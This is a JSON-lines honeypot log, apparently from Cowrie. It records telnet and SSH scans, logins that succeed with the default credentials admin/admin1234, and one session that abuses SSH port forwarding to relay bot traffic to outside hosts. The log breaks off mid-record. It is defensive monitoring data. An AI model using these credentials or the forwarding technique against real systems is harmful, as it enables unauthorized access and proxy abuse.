{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":60290,"dst_ip":"159.203.135.109","dst_port":23,"session":"afc705199023","protocol":"telnet","message":"New connection: 128.199.8.54:60290 (159.203.135.109:23) [session: afc705199023]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:46:40.071142Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.36.139.63","src_port":34935,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e8e9c39400d","protocol":"telnet","message":"New connection: 37.36.139.63:34935 (10.17.0.5:23) [session: 1e8e9c39400d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:46:40.565915Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":56848,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec1e563fa3d7","protocol":"telnet","message":"New connection: 128.199.8.54:56848 (159.203.135.109:23) [session: ec1e563fa3d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:46:43.085864Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.148.145.132","src_port":52458,"dst_ip":"10.17.0.5","dst_port":22,"session":"0dc7c2e6d866","protocol":"ssh","message":"New connection: 23.148.145.132:52458 (10.17.0.5:22) [session: 0dc7c2e6d866]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:46:50.295230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:46:50.298722Z","src_ip":"23.148.145.132","session":"0dc7c2e6d866","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:46:50.391506Z","src_ip":"23.148.145.132","session":"0dc7c2e6d866","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:46:52.221913Z","src_ip":"23.148.145.132","session":"0dc7c2e6d866","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":52051,"dst_ip":"10.17.0.5","dst_port":22,"session":"c97e50ff11dc","protocol":"ssh","message":"New connection: 123.27.168.40:52051 (10.17.0.5:22) [session: c97e50ff11dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:46:56.326586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:46:56.331378Z","src_ip":"123.27.168.40","session":"c97e50ff11dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:46:56.577718Z","src_ip":"123.27.168.40","session":"c97e50ff11dc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:46:57.678470Z","src_ip":"123.27.168.40","session":"c97e50ff11dc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:46:58.026885Z","session":"c97e50ff11dc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:46:58.133784Z","session":"c97e50ff11dc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:46:58.572685Z","src_ip":"123.27.168.40","session":"c97e50ff11dc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 14_4_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/88.0.4324.96 Mobile/18D70 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1158\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=TyhlVmI3K3NvX19PZ05mIQ%3D%3DyIEFhWCd%2FDTWu16uS0B4OWg7SgYckxCfN0giAk%2Fao%2FMSm%2BHD72gs3RykI0KCzH%2F8L08wrmF6BestAwc%2F4YomgYwuZdrijRlpXwm7eCA0h6EGUjTBey80T61UCV2CV2%2FktV%2FNc7CRiithS%2BZlv0M7i7NIQ2yv0hXPU1Q0K3UDWiWq4N0xOT0m5fmD4U1DimTkgAKA7zOKodDokescTvdK%2BfwXjC4fnGUNyomkQ5r%2FRJ1qGnR0O0IzaiqD17Kqii6Es2A2UpTW5ZwjwIQYAEL3Gqqshfnf1ZOOreTShLHMxTzWlgDrsRRqGA2cVxeZZO6UlhM6mmJi4aXJjacBzxMupR9DvUWOdIethRZtqKSQ4NeCQDdD%2B7YzkyZhsZrZYY3kRSdc8NZfwbqvSHv7mgT4W8GBJHmtE3X2wlwtPG0v4fNCmrh8lpquUB3CULgaeCzBhbgFyRQcPyi7%2FteYAapipJUadfAtCddhwlYZSkICjEAJMmGcB8bsPB%2Feth7WYp7BAsCQkW1h44bB4vDHrR4CdU99Oboio67gdAR6UIV90rgHbKTH8xzw0ybzuSozgWuAqZGSGCEvvfQxw4Z03FCoPaYSeMKEP0zn28lOJXIJUUlNoRpgPnIx4iQGdjrYXLpmtG%2F62V4XtB50PCwI8%2BCp4RzUZ1ZRCdAStVMFQPq7u4qToBqWv%2B5i%2B6paiuL7UfstePCI1lHmYbG2UATTxUuaOVosaLuUva1QU6Yvfujqv7n6DxfwNiMIc5vsyil1lIHcsE8gDzXWm3odrqQUuKzV0yU62AGk48aEFAfsu0%2FFNoaF3U7ELYz2mdSWTG%2FkW%2BEeT09Ofgv7lrjKIjx0cShCuCzDHQczcZUogNLL8y28hFlfSRaY4oGD0ZGw7Iux1y4SFO6Y8aVBmROz4kXeKWho%2B9kjEl9W0l4RsZjn32Z37Hg9bP5kshr7tLW%2FC3k7mToMdkvmdqscP6%2BtyoAtTdt56go25qzW%2Fmq%2F1bE6x7AI5uS%2Bcz%2BAq02f3FDTJU0UBkO7QhSA40CGwzrdtk33uYmhXwgx2%2BVBP9CAPVTPhJOYuYY%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 14_4_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/88.0.4324.96 Mobile/18D70 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1158\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=TyhlVmI3K3NvX19PZ05mIQ%3D%3DyIEFhWCd%2FDTWu16uS0B4OWg7SgYckxCfN0giAk%2Fao%2FMSm%2BHD72gs3RykI0KCzH%2F8L08wrmF6BestAwc%2F4YomgYwuZdrijRlpXwm7eCA0h6EGUjTBey80T61UCV2CV2%2FktV%2FNc7CRiithS%2BZlv0M7i7NIQ2yv0hXPU1Q0K3UDWiWq4N0xOT0m5fmD4U1DimTkgAKA7zOKodDokescTvdK%2BfwXjC4fnGUNyomkQ5r%2FRJ1qGnR0O0IzaiqD17Kqii6Es2A2UpTW5ZwjwIQYAEL3Gqqshfnf1ZOOreTShLHMxTzWlgDrsRRqGA2cVxeZZO6UlhM6mmJi4aXJjacBzxMupR9DvUWOdIethRZtqKSQ4NeCQDdD%2B7YzkyZhsZrZYY3kRSdc8NZfwbqvSHv7mgT4W8GBJHmtE3X2wlwtPG0v4fNCmrh8lpquUB3CULgaeCzBhbgFyRQcPyi7%2FteYAapipJUadfAtCddhwlYZSkICjEAJMmGcB8bsPB%2Feth7WYp7BAsCQkW1h44bB4vDHrR4CdU99Oboio67gdAR6UIV90rgHbKTH8xzw0ybzuSozgWuAqZGSGCEvvfQxw4Z03FCoPaYSeMKEP0zn28lOJXIJUUlNoRpgPnIx4iQGdjrYXLpmtG%2F62V4XtB50PCwI8%2BCp4RzUZ1ZRCdAStVMFQPq7u4qToBqWv%2B5i%2B6paiuL7UfstePCI1lHmYbG2UATTxUuaOVosaLuUva1QU6Yvfujqv7n6DxfwNiMIc5vsyil1lIHcsE8gDzXWm3odrqQUuKzV0yU62AGk48aEFAfsu0%2FFNoaF3U7ELYz2mdSWTG%2FkW%2BEeT09Ofgv7lrjKIjx0cShCuCzDHQczcZUogNLL8y28hFlfSRaY4oGD0ZGw7Iux1y4SFO6Y8aVBmROz4kXeKWho%2B9kjEl9W0l4RsZjn32Z37Hg9bP5kshr7tLW%2FC3k7mToMdkvmdqscP6%2BtyoAtTdt56go25qzW%2Fmq%2F1bE6x7AI5uS%2Bcz%2BAq02f3FDTJU0UBkO7QhSA40CGwzrdtk33uYmhXwgx2%2BVBP9CAPVTPhJOYuYY%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:46:58.575953Z","src_ip":"123.27.168.40","session":"c97e50ff11dc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:46:58.579459Z","src_ip":"123.27.168.40","session":"c97e50ff11dc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe4d\\xba\\x0f\\xc0\\x9b\\xafm^\\x97\\xce\\x80^Ba(1\\xf7\\xdb\\xda\\x17\\xa7\\xd1\\x11\\xc4[\\xb0\\xf1E\\xf3s\\xe1 \\xe5\\xea\\xf0\\xe9L:QU9\\xcf\\xd6\\xd5`\\xdb\\xf4\\x8eb\\xcbi\\xf2X\\x88\\xad3\\xe2\\\\\\x11d\\x19l\\r\\xc2\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\xfb\\xcdR\\xfa\\xa4&\\xafjk\\xf6\\x1aB\\x038\\xa6\\x0e\\x1e,\\xe2\\x81\\xdd\\x04\\xbb\\x0bR\\xa0\\xba$\\x03\\xfa\\x9cE\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe4d\\xba\\x0f\\xc0\\x9b\\xafm^\\x97\\xce\\x80^Ba(1\\xf7\\xdb\\xda\\x17\\xa7\\xd1\\x11\\xc4[\\xb0\\xf1E\\xf3s\\xe1 \\xe5\\xea\\xf0\\xe9L:QU9\\xcf\\xd6\\xd5`\\xdb\\xf4\\x8eb\\xcbi\\xf2X\\x88\\xad3\\xe2\\\\\\x11d\\x19l\\r\\xc2\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\xfb\\xcdR\\xfa\\xa4&\\xafjk\\xf6\\x1aB\\x038\\xa6\\x0e\\x1e,\\xe2\\x81\\xdd\\x04\\xbb\\x0bR\\xa0\\xba$\\x03\\xfa\\x9cE\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:46:58.581834Z","src_ip":"123.27.168.40","session":"c97e50ff11dc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:46:58.827797Z","session":"c97e50ff11dc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:46:59.069908Z","src_ip":"123.27.168.40","session":"c97e50ff11dc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x9f\\n\\x08\\xa8h\\xf6\\xd1\\xd3gT\\xbc\\xe1\\xe6#\\xc2\\xb9\\x12\\xac\\xd7\\x1a\\xfc\\x0f\\r\\x07\\x98$\\xabD\\x08\\xdc\\x84\\x96 \\x07\\xc5\\x1c`Y\\x1a \\x16\\xd4}\\xf1\\x89=\\x8e\\x8b\\x9d(\\xa4\\xdd\\xe0Y\\xd8\\xea\\xa5G<\\xb8]\\xdb\\x9e\\xe2l\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\xeatS\\xc5\\xbf\\x902\\x07\\xb2\\xb6\\xd3\\r0\\xb9\\xb150\\xa3\\xb9\\xb8\\xfdg\\xad\\xc7\\xeaj(\\xc4#\\xb4\\xc8k\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x9f\\n\\x08\\xa8h\\xf6\\xd1\\xd3gT\\xbc\\xe1\\xe6#\\xc2\\xb9\\x12\\xac\\xd7\\x1a\\xfc\\x0f\\r\\x07\\x98$\\xabD\\x08\\xdc\\x84\\x96 \\x07\\xc5\\x1c`Y\\x1a \\x16\\xd4}\\xf1\\x89=\\x8e\\x8b\\x9d(\\xa4\\xdd\\xe0Y\\xd8\\xea\\xa5G<\\xb8]\\xdb\\x9e\\xe2l\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x0